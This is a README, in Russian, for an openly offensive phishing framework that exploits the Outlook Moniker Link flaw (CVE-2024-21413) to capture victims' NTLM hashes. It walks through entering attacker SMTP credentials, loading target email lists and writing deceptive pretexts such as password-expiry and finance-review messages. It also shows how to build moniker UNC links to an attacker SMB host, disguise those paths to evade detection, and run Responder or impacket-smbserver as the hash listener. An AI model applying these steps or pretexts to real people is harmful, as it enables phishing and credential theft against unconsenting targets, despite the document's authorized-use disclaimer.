BLIND TRUST - Moniker Link Фишинг-Фреймворк для проведения кампаний

Инструмент для исследований в области безопасности, предназначенный для симуляции целевых фишинговых атак с использованием уязвимости CVE-2024-21413 Moniker Link. Разработан для авторизованных red team-операций, тестирования на проникновение и обучения сотрудников основам безопасности.

Обзор

BLIND TRUST — это фреймворк для проведения фишинговых кампаний, который помогает командам безопасности понимать и проверять свои защиты от сложных атак на электронную почту. Он использует технику Moniker Link для обхода Protected View в Outlook, обеспечивая реалистичную симуляцию атаки, которую организации могут использовать для укрепления своей безопасности.

Инструмент автоматизирует полный цикл кампании — от настройки до доставки писем — сохраняя операционную безопасность за счет настраиваемых UNC-путей и гибких вариантов легенды (pretext).

Назначение

Организациям необходимо понимать реальные техники атак, чтобы эффективно защищаться. TRUST позволяет:

• Red team-операции — Проведение авторизованных фишинговых кампаний в рамках оценки безопасности
• Обучение сотрудников — Демонстрация реальных векторов атак сотрудникам
• Проверка уязвимостей — Тестирование возможностей обнаружения известных техник
• Исследование защиты — Понимание поведения Moniker Link в вашем окружении

Возможности

• Многоцелевые кампании — Отправка фишинговых писем нескольким целям с помощью одной конфигурации
• Гибкая загрузка целей — Загрузка целей через интерактивный ввод или wordlist-файлы .txt
• Настраиваемая легенда — Контроль темы письма, отображаемого имени отправителя и текста письма
• Дискретные UNC-пути — Настройка пути Moniker Link для реалистичности (домен, имя общей папки, имя эксплойта)
• SMTP-аутентификация — Поддержка различных SMTP-серверов с согласованием TLS
• Автоматическая логика повторов — Экспоненциальная задержка при временных сбоях SMTP
• Отчетность по кампании — Статус доставки по каждой цели с агрегированными результатами
• Без жестко заданных сигнатур — Исключение очевидных индикаторов, раскрывающих технику

Установка

Требования

• Python 3.7+
• Только стандартная библиотека (без внешних зависимостей)

Настройка

# Клонирование репозитория
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST

# Запуск инструмента
python3 TRUST_v7.py

Требования

Инструмент использует только модули стандартной библиотеки Python:

getpass      - Безопасный ввод пароля
html         - Экранирование HTML
ipaddress    - Проверка IP-адресов
logging      - Структурированное журналирование
os           - Файловые операции
re           - Регулярные выражения
signal       - Обработка сигналов
smtplib      - SMTP-протокол электронной почты
sys          - Системные утилиты
time         - Операции со временем
dataclasses  - Моделирование конфигурации
email        - Построение MIME-писем
typing       - Подсказки типов

Внешние пакеты не требуются — работает везде, где есть Python 3.7+.

Быстрый старт

python3 TRUST_v7.py

Следуйте интерактивному мастеру, состоящему из 5 шагов:

1. Учетные данные атакующего — SMTP-аккаунт для отправки писем
2. Настройка SMB-слушателя — IP-адрес, к которому будут подключаться цели
3. Конфигурация целей — Загрузка жертв из ввода или wordlist-файла
4. Настройка письма — Тема, имя отправителя и текст письма
5. Настройка полезной нагрузки — Хост, общая папка и имена эксплойтов в UNC-пути

Примеры использования

Пример 1: Интерактивный ввод (небольшая кампания)

Load targets from [f]ile or [i]nput directly?: i
Target email address(es): [email protected], [email protected]

Email subject [Security Update Required]: Urgent: Password Expiration Notice
Display name (From field) [Microsoft Security Center]: IT Security Team
Email body text: Your password expires in 24 hours. Please update immediately.

UNC host (IP or domain) [192.168.1.100]: it-internal.company.com
UNC share name [updates]: patches
UNC exploit name [patch]: kb_security_2024

Пример 2: Загрузка из wordlist (крупная кампания)

Создайте targets.txt:

# Finance Department
[email protected]
[email protected]
[email protected]

# Accounting
[email protected]
[email protected]

Затем запустите:

Load targets from [f]ile or [i]nput directly?: f
Path to targets file: targets.txt
[+] Loaded 5 target(s) from targets.txt

Пример 3: Реалистичная финансовая легенда

Email subject: Q3 Financial Review - Action Required
Display name: Finance Operations Team
Email body: Please review the attached Q3 financial statement and provide approval.

UNC host: finance-internal.company.com
UNC share: quarterly
UNC exploit: q3_financial_report

Generated UNC path: file://finance-internal.company.com/quarterly!q3_financial_report

Пояснение к конфигурации

ШАГ 1: Учетные данные атакующего

• Email атакующего: адрес электронной почты, используемый для отправки фишинговых писем (обычно скомпрометированный или поддельный аккаунт)
• SMTP-пароль: учетные данные для аутентификации на почтовом сервере

ШАГ 2: SMB-слушатель

• IP-адрес SMB-слушателя: IP-адрес, на котором запущен ваш SMB-слушатель (например, Responder, impacket-smbserver). Цели будут пытаться подключиться сюда, когда нажмут на Moniker Link.

ШАГ 3: Конфигурация целей

Два варианта:

• Интерактивный ввод: вставьте email-адреса напрямую (через запятую или перевод строки)
• Wordlist-файл: загрузка из .txt-файла с одним email на строку; комментарии начинаются с #

ШАГ 4: Настройка письма

• Тема: тема письма (избегайте упоминаний CVE; сохраняйте деловой стиль)
• Отображаемое имя отправителя: дружелюбное имя, отображаемое в заголовке письма
• Текст письма: легенда, объясняющая, почему цели должны перейти по ссылке

ШАГ 5: Настройка полезной нагрузки

Здесь вы избегаете очевидных сигнатур:

• UNC host: используйте реалистичное доменное имя или поддомен (например, finance-internal.company.com) вместо простого IP-адреса
• UNC share: реалистичное имя общей папки, например quarterly, updates, documents
• UNC exploit: реалистичное имя файла, например q3_report, security_patch, training_document

Результат: вместо очевидного \\192.168.1.100\share!exploit вы получаете что-то вроде file://finance-internal.company.com/quarterly!q3_report.

Схема выполнения

Start
  ↓
[STEP 1] Prompt for attacker email and SMTP password
  ↓
[STEP 2] Prompt for SMB listener IP
  ↓
[STEP 3] Load target emails (file or input)
  ↓
     ↓→ For each target:
     │  - Validate email format
     │  - Check for duplicates
     │
[STEP 4] Prompt for email pretext
     │  - Subject, From name, body text
     │
[STEP 5] Prompt for UNC path customization
     │  - Host, share, exploit name
     │
  ↓
[BUILD] Construct configuration object
  ↓
[VALIDATE] Check all fields are present and valid
  ↓
[SUMMARY] Display pre-send summary for review
  ↓
[CONFIRM] User approves or cancels
  ↓
[SEND] For each target:
     │  - Build MIME email with custom Moniker Link
     │  - Attempt SMTP delivery with retry logic
     │  - Log per-target success/failure
     │
  ↓
[REPORT] Display campaign results (delivered vs failed)
  ↓
Exit

Как это работает

Уязвимость

CVE-2024-21413 (Moniker Link) — это уязвимость в Outlook, которая позволяет встраивать URL-адреса file:// с символом !. Когда пользователь нажимает на такую ссылку, Outlook пытается получить доступ к UNC-пути, что запускает попытку NTLM-аутентификации даже в режиме Protected View.

Схема атаки

1. Пользователь получает письмо с Moniker Link
2. Письмо выглядит легитимным (благодаря вашей настраиваемой легенде)
3. Пользователь нажимает на ссылку
4. Outlook пытается получить доступ к \\host\share!exploit
5. Символ ! обходит Protected View
6. Система пользователя аутентифицируется на вашем SMB-слушателе
7. Вы получаете NTLM-хэш или учетные данные

Что делает этот инструмент

TRUST автоматизирует этап доставки:

• Создает реалистичные письма с настраиваемой легендой
• Встраивает Moniker Link в HTML-полезную нагрузку
• Управляет SMTP-соединениями и повторами
• Эффективно обрабатывает несколько целей
• Предоставляет отчетность по кампании

Устранение неполадок

Проблема: "SMTP attempt 3 failed: [SMTP: 535]"

Решение: Проверьте SMTP-учетные данные. Для Gmail используйте пароль приложения. Для корпоративной почты уточните у SMTP-администратора.

Проблема: "TLS not supported. Proceeding without encryption."

Решение: Нормально для некоторых SMTP-серверов. Соединение продолжится без TLS-шифрования.

Проблема: "Invalid email: victim@"

Решение: Убедитесь, что адреса в wordlist-файлах полные и имеют корректный формат ([email protected]).

Проблема: "Recipient rejected"

Решение: Email-адрес не существует на целевом сервере, либо сервер блокирует ретрансляцию с вашего аккаунта.

Проблема: "File not found: targets.txt"

Решение: Проверьте правильность пути к файлу и его наличие в текущем каталоге.

FAQ

В: Легально ли использование этого инструмента? О: Только с явным письменным разрешением организации, которую вы тестируете. Несанкционированный фишинг незаконен. Всегда имейте письменный объем работ и правила взаимодействия.

В: Может ли это обойти современные почтовые фильтры? О: Это реалистичная симуляция, но современные системы безопасности почты все равно могут ее обнаружить. В этом и суть — если фильтры вашей организации не справляются с этим, у вас есть проблема, которую нужно решать.

В: Зачем настраивать UNC-путь? О: Исходный \\IP\share!exploit — это явная выдача себя. Настоящие атакующие используют реалистичные пути. Ваша команда безопасности должна замечать как очевидные, так и скрытые индикаторы.

В: Могу ли я использовать это для обучения сотрудников? О: Да. После авторизованного тестирования используйте обезличенные примеры кампаний в обучении сотрудников, чтобы показать реальные техники атак.

В: Перехватывает ли это учетные данные? О: Нет. TRUST только доставляет письмо. Вам нужен отдельный SMB-слушатель (Responder, impacket-smbserver и т.п.) для перехвата NTLM-хэшей, когда цели нажимают на ссылку.

В: Как настроить SMB-слушатель? О: Используйте Responder на Linux или impacket-smbserver:

# Responder (перехватывает хэши)
sudo responder -i eth0 -v

# impacket-smbserver (симуляция файлового сервера)
impacket-smbserver Share /tmp -smb2support

Ограничения

• Нет встроенного перехвата учетных данных: SMB-слушатель предоставляете вы; TRUST только доставляет письма
• Нет сохранения кампаний: Результаты выводятся в консоль; перенаправьте stdout для сохранения
• Нет разведки целей: Вы должны сами собрать email-адреса целей
• Нет обфускации писем: Хотя UNC-пути настраиваются, заголовки писем являются стандартными SMTP
• Нет многопоточности: Письма отправляются последовательно для надежности

Отказ от ответственности

Этот инструмент предназначен только для авторизованного тестирования безопасности.

• Вы должны иметь явное письменное разрешение на проведение фишинговых кампаний
• Несанкционированное использование незаконно и неэтично
• Используйте только в контролируемых средах против систем, которыми владеете или на тестирование которых имеете разрешение
• Всегда соблюдайте применимые законы и нормативные акты
• Авторы не несут ответственности за неправомерное использование или ущерб, причиненный этим инструментом

Используя TRUST, вы подтверждаете, что понимаете правовые последствия и имеете надлежащую авторизацию.

Рекомендации по ответственному использованию

1. Получите письменную авторизацию — Оформите подписанные правила взаимодействия до начала любой кампании
2. Определите scope целей — Уточните, какие системы и люди входят в рамки тестирования
3. Спланируйте меры реагирования — Подготовьте план обучения для сотрудников, перешедших по фишинговой ссылке
4. Документируйте результаты — Ведите подробные записи об оценке
5. Сообщайте о находках — Предоставьте заинтересованным сторонам обратную связь о том, что сработало
6. Уважайте конфиденциальность — Не используйте перехваченные данные вне программы безопасности

Планы по улучшению

• Сохранение кампаний и журналирование в файл
• Система шаблонов для легенд писем
• Интеграция с LDAP для перечисления целей
• Рендеринг HTML-шаблонов для более сложных писем
• Планирование кампаний (доставка по расписанию)
• Панель отчетности с метриками и аналитикой
• Поддержка других фишинговых техник помимо Moniker Link

Лицензия

Этот проект выпущен под лицензией MIT с добавлением ограничения на использование. Подробности см. в LICENSE.

Авторы и атрибуция

Этот проект основан на оригинальном исследовании и реализации CVE-2024-21413, созданных CMNatic (https://github.com/cmnatic), и вдохновлен ими.

CMNatic принадлежит полная заслуга за:

• Оригинальное исследование уязвимости и proof-of-concept
• Основную техническую реализацию
• Первоначальную публичную документацию

Этот репозиторий представляет собой модифицированную и расширенную версию той работы с улучшениями, включающими:

• Поддержку многоцелевых кампаний
• Настраиваемую легенду писем
• Дискретную настройку UNC-путей
• Загрузку целей из wordlist-файлов
• Улучшенную обработку SMTP и логику повторов
• Полную документацию

Более подробную атрибуцию см. в CREDITS.md.

Автор

H1SS — расширил и поддерживает эту версию для исследований в области безопасности и авторизованного тестирования.

Участие в разработке

Вклад приветствуется. Пожалуйста, убедитесь, что любые изменения:

• Сохраняют образовательную направленность инструмента
• Включают соответствующую документацию
• Следуют ответственным практикам раскрытия информации
• Не добавляют внешних зависимостей

Рекомендации см. в CONTRIBUTING.md.

Поддержка

По вопросам, проблемам или предложениям открывайте issue на GitHub.

Помните: Этот инструмент — исследовательский проект. Используйте его ответственно, законно и этично.